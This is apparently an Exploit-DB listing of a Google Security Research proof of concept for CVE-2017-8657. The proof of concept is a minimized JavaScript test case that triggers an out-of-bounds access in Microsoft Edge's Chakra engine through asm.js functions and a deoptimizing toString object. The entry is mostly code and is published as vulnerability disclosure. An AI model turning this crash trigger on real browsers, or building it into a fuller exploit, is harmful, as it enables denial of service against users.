Microsoft Edge - Out-of-Bounds Access when Fetching Source

EDB-ID: 42481
Author: Google Security Research
Published: 2017-08-17
CVE: CVE-2017-8657
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

  
// In the debug build of Chakra, this script hits the following assert:

// ASSERTION 19041: (/home/user/test_everywhere/ChakraCore/lib/Common/DataStructures/List.h, line 329) index >= 0 && index < this->count
// Failure: (index >= 0 && index < this->count)
// Illegal instruction (core dumped)

// The attached script is a test case from the v8 (Chrome) test repository, minimized to show the issue.

print = function(){};
(function () {

assertPromiseResult = function(promise, success, fail) {

if (!success) success = () => {};

failWithMessage = (msg) => eval("print(msg)");
if (!fail) {
fail = result => failWithMessage("assertPromiseResult failed: " + result);
}

var test_promise =
promise.then(
result => {
try {
success(result);
} catch (e) {
failWithMessage(e);
}
},
result => {
fail(result);
}
)
.then((x)=> {
if (--promiseTestCount == 0) testRunner.notifyDone();
});

if (!promiseTestChain) promiseTestChain = Promise.resolve();
// waitUntilDone is idempotent.
testRunner.waitUntilDone();
++promiseTestCount;
return promiseTestChain.then(test_promise);
};


assertUnoptimized = function assertUnoptimized(fun, sync_opt, name_opt) {
if (sync_opt === undefined) sync_opt = "";
var opt_status = OptimizationStatus(fun, sync_opt);
// Tests that use assertOptimized() do not make sense if --always-opt
// option is provided. Such tests must add --no-always-opt to flags comment.
assertFalse((opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0,
"test does not make sense with --always-opt");
assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt);
if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) {
// When --deopt-every-n-times flag is specified it's no longer guaranteed
// that particular function is still deoptimized, so keep running the test
// to stress test the deoptimizer.
return;
}
assertFalse((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt);
}







assertOptimized = function assertOptimized(fun, sync_opt, name_opt) {
if (sync_opt === undefined) sync_opt = "";
var opt_status = OptimizationStatus(fun, sync_opt);
// Tests that use assertOptimized() do not make sense if --no-opt
// option is provided. Such tests must add --opt to flags comment.
assertFalse((opt_status & V8OptimizationStatus.kNeverOptimize) !== 0,
"test does not make sense with --no-opt");
assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt);
if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) {
// When --deopt-every-n-times flag is specified it's no longer guaranteed
// that particular function is still optimized, so keep running the test
// to stress test the deoptimizer.
return;
}
assertTrue((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt);
}

isNeverOptimize = function isNeverOptimize() {
var opt_status = OptimizationStatus(undefined, "");
return (opt_status & V8OptimizationStatus.kNeverOptimize) !== 0;
}

isAlwaysOptimize = function isAlwaysOptimize() {
var opt_status = OptimizationStatus(undefined, "");
return (opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0;
}

isInterpreted = function isInterpreted(fun) {
var opt_status = OptimizationStatus(fun, "");
assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
"not a function");
return (opt_status & V8OptimizationStatus.kOptimized) === 0 &&
(opt_status & V8OptimizationStatus.kInterpreted) !== 0;
}

isOptimized = function isOptimized(fun) {
var opt_status = OptimizationStatus(fun, "");
assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
"not a function");
return (opt_status & V8OptimizationStatus.kOptimized) !== 0;
}

isCrankshafted = function isCrankshafted(fun) {
var opt_status = OptimizationStatus(fun, "");
assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
"not a function");
return (opt_status & V8OptimizationStatus.kOptimized) !== 0 &&
(opt_status & V8OptimizationStatus.kTurboFanned) === 0;
}

isTurboFanned = function isTurboFanned(fun) {
var opt_status = OptimizationStatus(fun, "");
assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
"not a function");
return (opt_status & V8OptimizationStatus.kOptimized) !== 0 &&
(opt_status & V8OptimizationStatus.kTurboFanned) !== 0;
}

})();


// Copyright 2015 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax

assertEquals = print;

var m = (function() {
"use asm";
function f(x) {
return x < 0;
}
function g(x) {
return 0 < x;
}
return { f: f, g: g };
})();
var f = m.f;
var g = m.g;

var counter = 0;

function deopt(f) {
return {
toString : function() {
print(f);
counter++;
return "2";
}
};
}

assertEquals(false, f(deopt(f)));
assertEquals(1, counter);

assertEquals(true, g(deopt(g)));
assertEquals(2, counter);

print(f);
assertEquals(false, f(deopt(f)));
assertEquals(3, counter);

print(g);
assertEquals(true, g(deopt(g)));
assertEquals(4, counter);

Related Posts

Comments